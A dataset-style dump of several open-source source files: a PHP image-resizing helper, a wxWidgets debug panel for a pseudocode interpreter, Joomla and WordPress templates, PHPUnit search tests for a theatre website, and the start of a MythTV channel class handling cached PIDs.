repo_name
stringlengths 4
116
| path
stringlengths 4
379
| size
stringlengths 1
7
| content
stringlengths 3
1.05M
| license
stringclasses 15
values |
---|---|---|---|---|
unrealprojects/journal | administrator/components/com_acymailing/helpers/acypict.php | 5448 | <?php
/**
* @package AcyMailing for Joomla!
* @version 4.7.2
* @author acyba.com
* @copyright (C) 2009-2014 ACYBA S.A.R.L. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class acypictHelper{
var $error;
var $maxHeight;
var $maxWidth;
var $destination;
function acypictHelper(){
jimport('joomla.filesystem.file');
}
function removePictures($text){
$return = preg_replace('#< *img[^>]*>#Ui','',$text);
$return = preg_replace('#< *div[^>]*class="jce_caption"[^>]*>[^<]*(< *div[^>]*>[^<]*<\/div>)*[^<]*<\/div>#Ui','',$return);
return $return;
}
function available(){
if(!function_exists('gd_info')){
$this->error = 'The GD library is not installed.';
return false;
}
if(!function_exists('getimagesize')){
$this->error = 'Cound not find getimagesize function';
return false;
}
if(!function_exists('imagealphablending')){
$this->error = "Please make sure you're using GD 2.0.1 or later version";
return false;
}
return true;
}
function resizePictures($input){
$this->destination = ACYMAILING_MEDIA.'resized'.DS;
acymailing_createDir($this->destination);
$content = acymailing_absoluteURL($input);
preg_match_all('#<img([^>]*)>#Ui',$content,$results);
if(empty($results[1])) return $input;
$replace = array();
foreach($results[1] as $onepicture){
if(strpos($onepicture,'donotresize') !== false) continue;
if(!preg_match('#src="([^"]*)"#Ui',$onepicture,$path)) continue;
$imageUrl = $path[1];
$base = str_replace(array('http://www.','https://www.','http://','https://'),'',ACYMAILING_LIVE);
$replacements = array('https://www.'.$base,'http://www.'.$base,'https://'.$base,'http://'.$base);
foreach($replacements as $oneReplacement){
if(strpos($imageUrl,$oneReplacement) === false) continue;
$imageUrl = str_replace(array($oneReplacement,'/'),array(ACYMAILING_ROOT,DS),urldecode($imageUrl));
break;
}
$newPicture = $this->generateThumbnail($imageUrl);
if(!$newPicture) continue;
$newPicture['file'] = preg_replace('#^'.preg_quote(ACYMAILING_ROOT,'#').'#i',ACYMAILING_LIVE,$newPicture['file']);
$newPicture['file'] = str_replace(DS,'/',$newPicture['file']);
$replaceImage = array();
$replaceImage[$path[1]] = $newPicture['file'];
if(preg_match_all('#(width|height)(:|=) *"?([0-9]+)#i',$onepicture,$resultsSize)){
foreach($resultsSize[0] as $i => $oneArg){
$newVal = (strtolower($resultsSize[1][$i]) == 'width') ? $newPicture['width'] : $newPicture['height'];
if($newVal > $resultsSize[3][$i]) continue;
$replaceImage[$oneArg] = str_replace($resultsSize[3][$i],$newVal,$oneArg);
}
}
$replace[$onepicture] = str_replace(array_keys($replaceImage),$replaceImage,$onepicture);
}
if(!empty($replace)){
$input = str_replace(array_keys($replace),$replace,$content);
}
return $input;
}
function generateThumbnail($picturePath){
list($currentwidth, $currentheight) = getimagesize($picturePath);
if(empty($currentwidth) || empty($currentheight)) return false;
$factor = min($this->maxWidth/$currentwidth,$this->maxHeight/$currentheight);
if($factor>=1) return false;
$newWidth = round($currentwidth*$factor);
$newHeight = round($currentheight*$factor);
if(strpos($picturePath,'http') === 0){
$filename = substr($picturePath,strrpos($picturePath,'/')+1);
}else{
$filename = basename($picturePath);
}
if(substr($picturePath,0,10) == 'data:image'){
preg_match('#data:image/([^;]{1,5});#',$picturePath,$resultextension);
if(empty($resultextension[1])) return false;
$extension = $resultextension[1];
$name = md5($picturePath);
}else{
$extension = strtolower(substr($filename,strrpos($filename,'.')+1));
$name = strtolower(substr($filename,0,strrpos($filename,'.')));
}
$newImage = $name.'thumb'.$this->maxWidth.'x'.$this->maxHeight.'.'.$extension;
if(empty($this->destination)){
$newFile = dirname($picturePath).DS.$newImage;
}else{
$newFile = $this->destination.$newImage;
}
if(file_exists($newFile)) return array('file' => $newFile,'width' => $newWidth,'height' => $newHeight);
switch($extension){
case 'gif':
$img = ImageCreateFromGIF($picturePath);
break;
case 'jpg':
case 'jpeg':
$img = ImageCreateFromJPEG($picturePath);
break;
case 'png':
$img = ImageCreateFromPNG($picturePath);
break;
default:
return false;
}
$thumb = ImageCreateTrueColor($newWidth, $newHeight);
if(in_array($extension,array('gif','png'))){
imagealphablending($thumb, false);
imagesavealpha($thumb,true);
}
if(function_exists("imagecopyresampled")){
imagecopyresampled($thumb, $img, 0, 0, 0, 0, $newWidth, $newHeight,$currentwidth, $currentheight);
}else{
ImageCopyResized($thumb, $img, 0, 0, 0, 0, $newWidth, $newHeight,$currentwidth, $currentheight);
}
ob_start();
switch($extension){
case 'gif':
$status = imagegif($thumb);
break;
case 'jpg':
case 'jpeg':
$status = imagejpeg($thumb,null,100);
break;
case 'png':
$status = imagepng($thumb,null,0);
break;
}
$imageContent = ob_get_clean();
$status = $status && JFile::write($newFile,$imageContent);
imagedestroy($thumb);
imagedestroy($img);
if(!$status) $newFile = $picturePath;
return array('file' => $newFile,'width' => $newWidth,'height' => $newHeight);
}
}
| gpl-2.0 |
ifigueroap/pse-spy | wxPSeInt/mxDebugWindow.cpp | 11516 | #include <wx/sizer.h>
#include <wx/stattext.h>
#include <wx/button.h>
#include <wx/scrolbar.h>
#include "mxDebugWindow.h"
#include "mxStatusBar.h"
#include "ids.h"
#include "DebugManager.h"
#include "mxMainWindow.h"
#include "ConfigManager.h"
#include "mxProcess.h"
#include "mxHelpWindow.h"
#include "mxDesktopTestPanel.h"
#include "mxEvaluateDialog.h"
#include "mxSubtitles.h"
mxDebugWindow *debug_panel=NULL;
BEGIN_EVENT_TABLE(mxDebugWindow,wxPanel)
EVT_BUTTON(mxID_DEBUG_BUTTON, mxDebugWindow::OnDebugButton)
EVT_BUTTON(mxID_DEBUG_PAUSE, mxDebugWindow::OnDebugPause)
EVT_BUTTON(mxID_DEBUG_STEP, mxDebugWindow::OnDebugStep)
EVT_BUTTON(mxID_DEBUG_HELP, mxDebugWindow::OnDebugHelp)
EVT_BUTTON(mxID_DEBUG_EVALUATE, mxDebugWindow::OnDebugEvaluate)
EVT_CHECKBOX(mxID_DEBUG_DESKTOP_VARS, mxDebugWindow::OnDebugDesktopTest)
EVT_CHECKBOX(mxID_DEBUG_STEP_IN, mxDebugWindow::OnDebugCheckStepIn)
EVT_CHECKBOX(mxID_DEBUG_SUBTITLES, mxDebugWindow::OnDebugCheckSubtitles)
END_EVENT_TABLE()
mxDebugWindow::mxDebugWindow(wxWindow *parent):wxPanel(parent,wxID_ANY) {
evaluate_window=NULL;
wxBoxSizer *sizer = new wxBoxSizer(wxVERTICAL);
sizer->AddSpacer(5);
// sizer->Add(new wxStaticText(this,wxID_ANY,_T(" Estado:")),wxSizerFlags().Proportion(0).Expand().Border(wxTOP,10));
// debug_status = new wxStaticText(this,wxID_ANY,_T("No iniciada"),wxDefaultPosition,wxDefaultSize,wxALIGN_CENTRE|wxST_NO_AUTORESIZE);
// sizer->Add(debug_status,wxSizerFlags().Proportion(0).Expand().Border(wxBOTTOM,10));
sizer->Add(dp_button_run = new wxButton(this,mxID_DEBUG_BUTTON,_T("Comenzar")),wxSizerFlags().Proportion(0).Expand().Border(wxBOTTOM,10));
sizer->Add(dp_button_pause = new wxButton(this,mxID_DEBUG_PAUSE,_T("Pausar/Continuar")),wxSizerFlags().Proportion(0).Expand());
sizer->Add(dp_button_step = new wxButton(this,mxID_DEBUG_STEP,_T("Primer Paso")),wxSizerFlags().Proportion(0).Expand().Border(wxBOTTOM,10));
sizer->Add(dp_button_evaluate = new wxButton(this,mxID_DEBUG_EVALUATE,_T("Evaluar...")),wxSizerFlags().Proportion(0).Expand().Border(wxBOTTOM,10));
dp_button_evaluate->SetToolTip(utils->FixTooltip("Puede utilizar este botón para evaluar una expresión o conocer el valor de una variable durante la ejecución paso a paso. Para ello debe primero pausar el algoritmo."));
sizer->Add(new wxStaticText(this,wxID_ANY,_T(" Velocidad:")),wxSizerFlags().Proportion(0).Expand().Border(wxTOP,10));
debug_speed=new wxScrollBar(this,mxID_DEBUG_SLIDER);
debug_speed->SetScrollbar(0,1,100,10);
debug_speed->SetToolTip(utils->FixTooltip("Con este slider puede variar la velocidad con la que avanza automáticamente la ejecución paso a paso."));
debug_speed->SetThumbPosition(config->stepstep_tspeed);
sizer->Add(debug_speed,wxSizerFlags().Proportion(0).Expand().Border(wxBOTTOM,10));
dp_check_step_in=new wxCheckBox(this,mxID_DEBUG_STEP_IN,"Entrar en subprocesos");
dp_check_step_in->SetToolTip(utils->FixTooltip("Cuando esta opción está activada y el proceso llega a la llamada de una función entra en dicha función y muestra pasa a paso cómo se ejecuta la misma, mientras que si está desactivada ejecuta la llamada completa en un solo paso sin mostrar la ejecución de la misma."));
dp_check_step_in->SetValue(true);
if (!config->lang[LS_ENABLE_USER_FUNCTIONS]) dp_check_step_in->Hide();
sizer->Add(dp_check_step_in,wxSizerFlags().Proportion(0).Expand().Border(wxBOTTOM,10));
// sizer->AddSpacer(20);
sizer->Add(dp_check_desktop_test = new wxCheckBox(this,mxID_DEBUG_DESKTOP_VARS,_T("Prueba de Escritorio")),wxSizerFlags().Proportion(0).Expand().Border(wxBOTTOM,10));
dp_check_desktop_test->SetToolTip(utils->FixTooltip("Con esta opción puede configurar una tabla con un conjunto de variables o expresiones para que serán evaluadas en cada paso de la ejecución paso a paso y registradas en dicha tabla automáticamente para analizar luego la evolución de los datos y el algoritmo."));
#ifdef __WIN32__
dp_check_subtitles=new wxCheckBox(this,mxID_DEBUG_SUBTITLES,"Explicar en detalle c/paso");
#else
dp_check_subtitles=new wxCheckBox(this,mxID_DEBUG_SUBTITLES,"Explicar con detalle\ncada paso");
#endif
dp_check_subtitles->SetToolTip(utils->FixTooltip("Haga click en \"Comenzar\" para iniciar la ejecución paso a paso y leer en este panel los detalles de cada acción que realiza el intérprete."));
dp_check_subtitles->SetValue(false);
sizer->Add(dp_check_subtitles,wxSizerFlags().Proportion(0).Expand().Border(wxBOTTOM,10));
sizer->Add(new wxButton(this,mxID_DEBUG_HELP,_T("Ayuda...")),wxSizerFlags().Proportion(0).Expand().Border(wxTOP,10));
SetState(DS_STOPPED);
this->SetSizerAndFit(sizer);
evaluate_window = new mxEvaluateDialog(parent);
}
void mxDebugWindow::SetSpeed(int speed) {
debug_speed->SetThumbPosition(config->stepstep_tspeed=speed);
}
void mxDebugWindow::SetState(ds_enum state) {
switch (state) {
case DS_STARTING:
dp_button_run->SetLabel(_T("Finalizar"));
dp_button_run->SetToolTip(utils->FixTooltip("Utilice este botón para detener definitivamente la ejecución del algoritmo y abandonar el modo de ejecución paso a paso."));
subtitles->text->SetValue("Haga click en \"Continuar\" para leer en este panel los detalles las próximas acciones que realize el intérprete.");
// debug_status->SetLabel(_T("Iniciando"));
dp_button_step->Disable();
dp_button_step->SetLabel(_T("Avanzar un Paso"));
dp_button_step->SetToolTip(utils->FixTooltip("Utilice este botón para avanzar ejecutar solamente la siguiente instrucción del algoritmo."));
subtitles->button_next->Disable();
subtitles->button_next->SetLabel("Continuar");
dp_check_desktop_test->Disable();
desktop_test_panel->SetEditable(false);
break;
case DS_STOPPED:
subtitles->button_next->SetLabel(_T("Comenzar"));
subtitles->text->SetValue("Haga click en \"Comenzar\" para iniciar la ejecución paso a paso y leer en este panel los detalles de cada acción que realiza el intérprete.");
subtitles->button_next->Enable();
dp_button_run->SetLabel(_T("Comenzar"));
dp_button_run->SetToolTip(utils->FixTooltip("Utilice este botón para que el algoritmo comience a ejecutarse automáticamente y paso a paso, señalando cada instrucción que ejecuta, según la velocidad definida en el menú configuración."));
dp_button_step->SetLabel(_T("Primer Paso"));
dp_button_step->SetToolTip(utils->FixTooltip("Utilice este botón para ejecutar solo la primer instrucción del algoritmo y pausar inmediatamente la ejecución del mismo."));
dp_button_step->Enable();
dp_check_desktop_test->Enable();
if (desktop_test_panel) desktop_test_panel->SetEditable(true);
dp_button_evaluate->Disable();
dp_button_step->Enable();
dp_button_pause->Disable();
if (debug&&debug->source) if (ds_state!=DS_FINALIZED) debug->source->SetStatus(STATUS_DEBUG_STOPPED);
// debug_status->SetLabel(_T("No Iniciada"));
break;
case DS_FINALIZED:
subtitles->button_next->SetLabel(_T("Cerrar"));
subtitles->button_next->Enable();
dp_button_run->SetLabel(_T("Cerrar"));
dp_button_run->SetToolTip(utils->FixTooltip("Ha finalizado la ejecución del algoritmo. Utilice este botón para cerrar la ventana de la ejecución del mismo."));
dp_button_pause->Disable();
dp_button_step->Disable();
if (debug&&debug->source) debug->source->SetStatus(STATUS_DEBUG_ENDED);
break;
case DS_PAUSED:
dp_button_step->Enable();
subtitles->button_next->Enable();
dp_button_pause->Enable();
dp_button_pause->SetLabel(_T("Continuar"));
dp_button_pause->SetToolTip(utils->FixTooltip("Utilice este botón para que el algoritmo continúe avanzando paso a paso automáticamente."));
dp_button_evaluate->Enable();
if (debug&&debug->source) debug->source->SetStatus(STATUS_DEBUG_PAUSED);
break;
case DS_RESUMED:
dp_button_step->Disable();
subtitles->button_next->Disable();
dp_button_pause->Enable();
dp_button_pause->SetLabel(_T("Pausar"));
dp_button_pause->SetToolTip(utils->FixTooltip("Utilice este botón para detener temporalmente la ejecución del algoritmo. Al detener el algoritmo puede observar el valor de las variables con el botón Evaluar."));
dp_button_evaluate->Disable();
if (debug&&debug->source) debug->source->SetStatus(STATUS_DEBUG_RUNNING);
break;
case DS_STEP:
dp_button_pause->Disable();
dp_button_evaluate->Disable();
dp_button_step->Disable();
subtitles->button_next->Disable();
if (debug&&debug->source) debug->source->SetStatus(STATUS_DEBUG_RUNNING);
break;
default:
break;
}
ds_state = state;
if (evaluate_window && evaluate_window->IsShown()) evaluate_window->Evaluate();
}
void mxDebugWindow::OnDebugButton(wxCommandEvent &evt) {
if (debug->debugging)
debug->Stop();
else
DebugStartFromGui(true);
}
void mxDebugWindow::DebugStartFromGui(bool from_psdraw) {
mxSource *src=main_window->GetCurrentSource();
if (!src) return;
main_window->ReorganizeForDebugging();
if (!from_psdraw && src->GetFlowSocket()) {
src->GetFlowSocket()->Write("send debug\n",11);
return;
}
// if (evaluate_window->IsShown()) evaluate_window->Hide();
// if (evaluate_window->IsShown()) evaluate_window->Evaluate();
// if (debug->debugging) {
// debug->Stop();
// } else {
// mxSource *src=main_window->GetCurrentSource();
if (src) StartDebugging(src,false);
// }
}
void mxDebugWindow::OnDebugPause(wxCommandEvent &evt) {
// if (evaluate_window->IsShown()) evaluate_window->Hide();
// if (evaluate_window->IsShown()) evaluate_window->Evaluate();
if (ds_state==DS_STEP) return;
debug->Pause();
}
void mxDebugWindow::OnDebugStep(wxCommandEvent &evt) {
// if (evaluate_window->IsShown()) evaluate_window->Hide();
if (evaluate_window->IsShown()) evaluate_window->Evaluate();
if (ds_state==DS_STEP) return;
if (debug->debugging) {
debug->Step();
} else {
main_window->ReorganizeForDebugging();
mxSource *src=main_window->GetCurrentSource();
if (src) StartDebugging(src,true);
}
}
void mxDebugWindow::StartDebugging(mxSource *source, bool paused) {
wxString fname = source->SaveTemp();
debug->should_pause = paused;
if ( (new mxProcess(source))->Debug(fname, true) )
SetState(DS_STARTING);
}
void mxDebugWindow::OnDebugHelp(wxCommandEvent &evt) {
if (!helpw) helpw = new mxHelpWindow();
helpw->ShowHelp(_T("debug.html"));
}
void mxDebugWindow::OnDebugDesktopTest(wxCommandEvent &evt) {
main_window->ShowDesktopTestPanel(dp_check_desktop_test->GetValue(),true);
}
void mxDebugWindow::OnDebugEvaluate(wxCommandEvent &evt) {
evaluate_window->Show();
}
void mxDebugWindow::SetEvaluationValue (wxString val, char tipo) {
evaluate_window->SetEvaluationValue(val,tipo);
}
void mxDebugWindow::ProfileChanged ( ) {
dp_check_step_in->Show(config->lang[LS_ENABLE_USER_FUNCTIONS]);
Layout();
}
void mxDebugWindow::OnDebugCheckStepIn(wxCommandEvent &evt) {
evt.Skip();
debug->SetStepIn(dp_check_step_in->GetValue());
}
void mxDebugWindow::OnDebugCheckSubtitles(wxCommandEvent &evt) {
evt.Skip();
debug->SetSubtitles(dp_check_subtitles->GetValue());
main_window->ShowSubtitles(dp_check_subtitles->GetValue(),true);
}
void mxDebugWindow::ShowInEvaluateDialog(wxString s) {
evaluate_window->Show();
evaluate_window->EvaluateExpression(s);
}
void mxDebugWindow::SetSubtitles(bool on) {
dp_check_subtitles->SetValue(on);
wxCommandEvent evt;
OnDebugCheckSubtitles(evt);
debug->SetSubtitles(true);
}
ds_enum mxDebugWindow::GetState ( ) {
return ds_state;
}
void mxDebugWindow::OnDesktopTestPanelHide ( ) {
dp_check_desktop_test->SetValue(false);
}
bool mxDebugWindow::IsDesktopTestEnabled ( ) {
return dp_check_desktop_test->GetValue();
}
| gpl-2.0 |
vdm-io/Joomla-Component-Builder | admin/views/components_placeholders/tmpl/default_batch_footer.php | 957 | <?php
/**
* @package Joomla.Component.Builder
*
* @created 30th April, 2015
* @author Llewellyn van der Merwe <http://www.joomlacomponentbuilder.com>
* @gitea Joomla Component Builder <https://git.vdm.dev/joomla/Component-Builder>
* @github Joomla Component Builder <https://github.com/vdm-io/Joomla-Component-Builder>
* @copyright Copyright (C) 2015 Vast Development Method. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button" onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit" onclick="Joomla.submitbutton('component_placeholders.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button> | gpl-2.0 |
camdram/camdram | tests/CamdramBundle/Controller/SearchControllerTest.php | 12096 | <?php
namespace Camdram\Tests\CamdramBundle\Controller;
use Acts\CamdramBundle\Entity\Show;
use Acts\CamdramBundle\Entity\Performance;
use Acts\CamdramBundle\Entity\Society;
use Acts\CamdramBundle\Entity\Venue;
use Acts\CamdramBundle\Entity\Person;
use Acts\CamdramBundle\Entity\Role;
use Acts\CamdramSecurityBundle\Entity\User;
use Camdram\Tests\MySQLTestCase;
class SearchControllerTest extends MySQLTestCase
{
private function doSearch($query)
{
return $this->doJsonRequest('/search.json', ['q' => $query]);
}
private function doPaginatedSearch($query, $limit, $page)
{
return $this->doJsonRequest('/search.json', ['q' => $query, 'limit' => $limit, 'page' => $page]);
}
public function testNoQuery()
{
$this->assertEquals([], $this->doJsonRequest("/search.json", []));
}
public function testAutocomplete()
{
#$this->createShow('Test Show', '2000-01-01');
$results = $this->doSearch('tit');
$this->assertEquals(1, count($results));
$this->assertEquals('Titus Andronicus', $results[0]['name']);
$results = $this->doSearch('titus');
$this->assertEquals('Titus Andronicus', $results[0]['name']);
$results = $this->doSearch('titus a');
$this->assertEquals('Titus Andronicus', $results[0]['name']);
$results = $this->doSearch('titus andronicus');
$this->assertEquals('Titus Andronicus', $results[0]['name']);
$results = $this->doSearch('TiTuS aNDrONicUS');
$this->assertEquals('Titus Andronicus', $results[0]['name']);
$results = $this->doSearch('TITUS ANDRONICUS');
$this->assertEquals('Titus Andronicus', $results[0]['name']);
$results = $this->doSearch('and');
$this->assertEquals('Titus Andronicus', $results[0]['name']);
$results = $this->doSearch('andronicus');
$this->assertEquals('Titus Andronicus', $results[0]['name']);
$results = $this->doSearch(' titus');
$this->assertEquals('Titus Andronicus', $results[0]['name']);
//Does not match "Titus Andronicus"
$this->assertEquals([], $this->doSearch(''));
$this->assertEquals([], $this->doSearch('itus'));
$this->assertEquals([], $this->doSearch('itus an'));
$this->assertEquals([], $this->doSearch('titl'));
$this->assertEquals([], $this->doSearch('titus x'));
$this->assertEquals([], $this->doSearch('tituss'));
//Test shows-only search
$results = $this->doJsonRequest('/shows.json', ['q' => 'titus']);
$this->assertEquals('Titus Andronicus', $results[0]['name']);
}
public function testHtmlView()
{
#$this->createShow('Test Show 1', '2000-01-01');
#$this->createShow('Test Show 2', '2000-02-01');
#$this->createSociety('Test Society 1', 'soc1');
#$this->createSociety('Test Society 2', 'scoc2');
#$this->createVenue('Test Venue 1');
#$this->createVenue('Test Venue 2');
$crawler = $this->client->request('GET', '/');
$form = $crawler->selectButton('Search')->form();
$form['q'] = 'test';
$crawler = $this->client->submit($form);
$this->assertEquals($crawler->filter('#content a:contains("Test Show 1")')->count(), 1);
$this->assertEquals($crawler->filter('#content a:contains("Test Show 2")')->count(), 1);
$this->assertEquals($crawler->filter('#content a:contains("Test Society 1")')->count(), 1);
$this->assertEquals($crawler->filter('#content a:contains("Test Society 2")')->count(), 1);
$this->assertEquals($crawler->filter('#content a:contains("Test Venue 1")')->count(), 1);
$this->assertEquals($crawler->filter('#content a:contains("Test Venue 2")')->count(), 1);
}
public function testPunctuation()
{
#$this->createShow("Journey's End", '2000-01-01');
#$this->createShow("Panto: Snow Queen", '2001-01-01');
#$results = $this->doSearch("journeys");
#$this->assertEquals("Journey's End", $results[0]['name']);
$results = $this->doSearch("journey's");
$this->assertEquals("Journey's End", $results[0]['name']);
#$results = $this->doSearch("journeys end");
#$this->assertEquals("Journey's End", $results[0]['name']);
$results = $this->doSearch("panto s");
$this->assertEquals("Panto: Snow Queen", $results[0]['name']);
$results = $this->doSearch("panto: s");
$this->assertEquals("Panto: Snow Queen", $results[0]['name']);
$results = $this->doSearch("panto snow queen");
$this->assertEquals("Panto: Snow Queen", $results[0]['name']);
}
public function testAccents()
{
#$this->createShow('Les Misérables', '2000-01-01');
#$this->createPerson('Zoë');
$results = $this->doSearch("les mise");
$this->assertEquals("Les Misérables", $results[0]['name']);
$results = $this->doSearch("misé");
$this->assertEquals("Les Misérables", $results[0]['name']);
$results = $this->doSearch("les miserables");
$this->assertEquals("Les Misérables", $results[0]['name']);
$results = $this->doSearch("les misérables");
$this->assertEquals("Les Misérables", $results[0]['name']);
$results = $this->doSearch("zoë");
$this->assertEquals("Zoë", $results[0]['name']);
$results = $this->doSearch("ZOË");
$this->assertEquals("Zoë", $results[0]['name']);
$results = $this->doSearch("zoe");
$this->assertEquals("Zoë", $results[0]['name']);
}
public function testUnicode()
{
$showName = '窦娥冤'; // "The Midsummer Snow" by Guan Hanqing
#$this->createShow($showName, '2000-01-01');
$results = $this->doSearch('窦娥');
$this->assertEquals($showName, $results[0]['name']);
$results = $this->doSearch('窦娥冤');
$this->assertEquals($showName, $results[0]['name']);
$results = $this->doSearch(' 窦娥冤 ');
$this->assertEquals($showName, $results[0]['name']);
$this->assertEquals([], $this->doSearch('窦 娥冤'));
}
public function testShowOrdering()
{
#$this->createShow('Test Show 2005', '2005-10-11');
#$this->createShow('Test Show 2001', '2001-05-17');
#$this->createShow('Test Show 2012', '2012-01-02');
#$this->createShow('Test Show 1995', '1995-06-22');
$results = $this->doSearch('cymbeline');
$this->assertEquals(4, count($results));
$this->assertEquals('Cymbeline 2012', $results[0]['name']);
$this->assertEquals('Cymbeline 2005', $results[1]['name']);
$this->assertEquals('Cymbeline 2001', $results[2]['name']);
$this->assertEquals('Cymbeline 1995', $results[3]['name']);
}
public function testPagination()
{
#for ($i = 1; $i <= 100; $i++) {
#$name = 'Test Show '.$i;
#$startAt = (2000 + $i)."-01-01";
#$this->createShow($name, $startAt, false);
#}
#$this->entityManager->flush();
$results = $this->doPaginatedSearch('paginate', 1, 1);
$this->assertEquals(1, count($results));
$this->assertEquals('Paginate 100', $results[0]['name']);
$results = $this->doPaginatedSearch('paginate', 100, 1);
$this->assertEquals(100, count($results));
for ($i = 0; $i < 100; $i++) {
$this->assertEquals('Paginate '.(100 - $i), $results[$i]['name']);
}
for ($page = 1; $page <= 10; $page++) {
$results = $this->doPaginatedSearch('paginate', 10, $page);
$this->assertEquals(10, count($results));
for ($i = 0; $i < 10; $i++) {
$this->assertEquals('Paginate '.(100 - (($page-1) * 10) - $i), $results[$i]['name']);
}
}
$results = $this->doPaginatedSearch('paginate', 101, 1);
$this->assertEquals(100, count($results));
for ($i = 0; $i < 100; $i++) {
$this->assertEquals('Paginate '.(100 - $i), $results[$i]['name']);
}
$this->assertEquals([], $this->doPaginatedSearch('paginate', 10, 11));
$this->assertEquals([], $this->doPaginatedSearch('paginate', 10, 99));
}
public function testLongName()
{
$longName = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam viverra euismod justo sed malesuada. '
. 'Fusce facilisis, neque nec faucibus blandit.';
#$this->createShow($longName, '2000-01-01');
$results = $this->doSearch($longName);
$this->assertEquals($longName, $results[0]['name']);
}
public function testPerson()
{
#$this->createPerson('John Smith');
$results = $this->doSearch('joh');
$this->assertEquals('John Smith', $results[0]['name']);
$results = $this->doSearch('john s');
$this->assertEquals('John Smith', $results[0]['name']);
$results = $this->doSearch('john smith');
$this->assertEquals('John Smith', $results[0]['name']);
$results = $this->doJsonRequest('/people.json', ['q' => 'joh']);
$this->assertEquals('John Smith', $results[0]['name']);
}
public function testSociety()
{
$name = 'Cambridge University Amateur Dramatic Club';
#$this->createSociety($name, 'cuadc');
$results = $this->doSearch('cam');
$this->assertEquals($name, $results[0]['name']);
$results = $this->doSearch('dramatic c');
$this->assertEquals($name, $results[0]['name']);
$results = $this->doSearch($name);
$this->assertEquals($name, $results[0]['name']);
//"Short name" matches too
$results = $this->doSearch('cuadc');
$this->assertEquals($name, $results[0]['name']);
$results = $this->doSearch('cua');
$this->assertEquals($name, $results[0]['name']);
$results = $this->doJsonRequest('/societies.json', ['q' => 'cua']);
$this->assertEquals($name, $results[0]['name']);
}
public function testVenue()
{
#$this->createVenue('ADC Theatre');
$results = $this->doSearch('ad');
$this->assertEquals('ADC Theatre', $results[0]['name']);
$results = $this->doSearch('adc t');
$this->assertEquals('ADC Theatre', $results[0]['name']);
$results = $this->doSearch('adc theatre');
$this->assertEquals('ADC Theatre', $results[0]['name']);
$results = $this->doSearch('theat');
$this->assertEquals('ADC Theatre', $results[0]['name']);
$results = $this->doJsonRequest('/venues.json', ['q' => 'adc']);
$this->assertEquals('ADC Theatre', $results[0]['name']);
}
public function testXML()
{
$this->client->request('GET', '/search.xml', ['q' => 'ADC']);
$response = $this->client->getResponse();
$xml = new \SimpleXMLElement($response->getContent());
$this->assertHTTPStatus(410, $response->getStatusCode());
$this->assertStringContainsString('text/xml', $response->headers->get('Content-Type'));
}
public function testSyntaxError()
{
$results = $this->doSearch("tit****");
$this->assertEquals(1, count($results));
$this->assertEquals('Titus Andronicus', $results[0]['name']);
$results = $this->doJsonRequest('/search.json', ['q' => 'tit****', 'parse' => 'boolean']);
$this->assertEquals(["error" => "Try setting \"Interpret search\" back to normal."], $results);
$crawler = $this->client->request('GET', '/search/advanced', ['q' => 'tit****', 'parse' => 'boolean']);
$this->assertSelectorTextContains('#content', 'Try setting "Interpret search" back to normal');
}
public function testBooleanMode()
{
$results = $this->doJsonRequest('/search.json', ['q' => 'andr*cus', 'parse' => 'boolean']);
$this->assertEquals(1, count($results));
$this->assertEquals('Titus Andronicus', $results[0]['name']);
}
}
| gpl-2.0 |
mrtimpender/eleventyseven | wp-content/themes/eleventyseven/page.php | 865 | <?php
/**
* The template for displaying all pages.
*
* This is the template that displays all pages by default.
* Please note that this is the WordPress construct of pages
* and that other 'pages' on your WordPress site will use a
* different template.
*
* @package eleventyseven
*/
get_header(); ?>
<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">
<?php while ( have_posts() ) : the_post(); ?>
<?php get_template_part( 'template-parts/content', 'page' ); ?>
<?php
// If comments are open or we have at least one comment, load up the comment template.
if ( comments_open() || get_comments_number() ) :
comments_template();
endif;
?>
<?php endwhile; // End of the loop. ?>
</main><!-- #main -->
</div><!-- #primary -->
<?php get_sidebar(); ?>
<?php get_footer(); ?>
| gpl-2.0 |
neuros/neuroslink-mythtv-0.21.0-fixes18722 | libs/libmythtv/dtvchannel.cpp | 5309 | #include "dtvchannel.h"
// Qt headers
#include <qmap.h>
#include <qstring.h>
#include <qsqldatabase.h>
// MythTV headers
#include "mythcontext.h"
#include "mythdbcon.h"
#include "cardutil.h"
#define LOC QString("DTVChan(%1): ").arg(GetDevice())
#define LOC_WARN QString("DTVChan(%1) Warning: ").arg(GetDevice())
#define LOC_ERR QString("DTVChan(%1) Error: ").arg(GetDevice())
QMutex DTVChannel::master_map_lock;
QMap<QString,DTVChannel*> DTVChannel::master_map;
DTVChannel::DTVChannel(TVRec *parent)
: ChannelBase(parent),
sistandard("mpeg"), tuningMode(QString::null),
currentProgramNum(-1),
currentATSCMajorChannel(0), currentATSCMinorChannel(0),
currentTransportID(0), currentOriginalNetworkID(0)
{
}
DTVChannel::~DTVChannel()
{
QMutexLocker locker(&master_map_lock);
QMap<QString,DTVChannel*>::iterator it = master_map.begin();
for (; it != master_map.end(); ++it)
{
if (*it == this)
{
master_map.erase(it);
break;
}
}
}
/** \fn DTVChannel::GetCachedPids(int, pid_cache_t&)
* \brief Returns cached MPEG PIDs when given a Channel ID.
*
* \param chanid Channel ID to fetch cached pids for.
* \param pid_cache List of PIDs with their TableID
* types is returned in pid_cache.
*/
void DTVChannel::GetCachedPids(int chanid, pid_cache_t &pid_cache)
{
MSqlQuery query(MSqlQuery::InitCon());
QString thequery = QString("SELECT pid, tableid FROM pidcache "
"WHERE chanid='%1'").arg(chanid);
query.prepare(thequery);
if (!query.exec() || !query.isActive())
{
MythContext::DBError("GetCachedPids: fetching pids", query);
return;
}
while (query.next())
{
int pid = query.value(0).toInt(), tid = query.value(1).toInt();
if ((pid >= 0) && (tid >= 0))
pid_cache.push_back(pid_cache_item_t(pid, tid));
}
}
/** \fn DTVChannel::SaveCachedPids(int, const pid_cache_t&)
* \brief Saves PIDs for PSIP tables to database.
*
* \param chanid Channel ID to fetch cached pids for.
* \param pid_cache List of PIDs with their TableID types to be saved.
*/
